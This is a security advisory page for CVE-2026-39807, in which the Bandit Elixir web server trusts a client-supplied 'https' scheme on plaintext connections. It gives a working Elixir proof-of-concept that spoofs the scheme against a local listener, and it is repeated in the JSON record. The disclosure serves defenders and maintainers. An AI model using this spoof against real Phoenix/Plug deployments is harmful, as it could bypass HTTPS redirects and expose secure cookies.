GHSA-375F-4R2H-F99J

Vulnerability from github – Published: 2026-05-07 03:47 – Updated: 2026-05-07 03:47
VLAI
Summary
Bandit trusts client-supplied URI scheme on plaintext connections
Details

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

  • Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
  • Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
  • Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
  • Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()
12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:47:29Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal \u2014 `Plug.SSL`\u0027s \"already secure, don\u0027t redirect\" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating \u2014 is silently misled into treating an attacker\u0027s plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target\u0027s scheme and the transport\u0027s `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -\u003e scheme` \u2014 i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 \u00a73.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` \u2014 or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport\u0027s actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP\u2192HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application \u2014 even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL\u0027s \"already secure, don\u0027t redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule SchemeApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n    Plug.Conn.send_resp(conn, 200, body)\n  end\nend\n\ndefmodule SchemeSpoof do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    # Absolute-form request target with scheme \"https\" over a plaintext\n    # TCP connection. RFC 9112 \u00a73.2.2 allows absolute-form on any request;\n    # nothing about it implies the connection is TLS.\n    request =\n      \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" \u003c\u003e\n        \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n        \"Connection: close\\r\\n\" \u003c\u003e\n        \"\\r\\n\"\n\n    log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    :gen_tcp.close(sock)\n\n    log(\"Server response:\")\n    IO.puts(response)\n\n    cond do\n      response =~ \"conn.scheme=:https\" -\u003e\n        log(\"VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\")\n        log(\"Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n      response =~ \"conn.scheme=:http\" -\u003e\n        log(\"Server forced scheme to :http \u2014 bug appears patched.\")\n\n      true -\u003e\n        log(\"Unexpected response shape.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```",
  "id": "GHSA-375f-4r2h-f99j",
  "modified": "2026-05-07T03:47:29Z",
  "published": "2026-05-07T03:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39807.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39807"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit trusts client-supplied URI scheme on plaintext connections"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…